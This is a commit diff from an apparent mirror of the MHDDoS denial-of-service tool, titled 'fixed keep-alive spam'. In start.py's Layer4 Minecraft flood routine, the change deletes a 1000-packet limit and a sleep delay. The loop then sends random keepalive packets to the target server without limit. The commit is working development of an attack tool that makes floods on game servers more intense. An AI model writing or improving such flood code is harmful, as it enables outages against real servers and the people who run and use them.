mirror of https://github.com/MatrixTM/MHDDoS.git
fixed keep-alive spam
This commit is contained in:
parent
53c2d098c3
commit
ee4e579c27
5
start.py
5
start.py
|
|
@ -380,11 +380,8 @@ class Layer4(Thread):
|
||||||
bytes_sent += (len(handshake + login))
|
bytes_sent += (len(handshake + login))
|
||||||
REQUESTS_SENT += 1
|
REQUESTS_SENT += 1
|
||||||
|
|
||||||
c = 1000
|
while s.recv(1):
|
||||||
while s.recv(1) and c:
|
|
||||||
c -= 1
|
|
||||||
s.send(Minecraft.keepalive(randint(1000, 1234567890)))
|
s.send(Minecraft.keepalive(randint(1000, 1234567890)))
|
||||||
sleep(0.05)
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
s.close()
|
s.close()
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue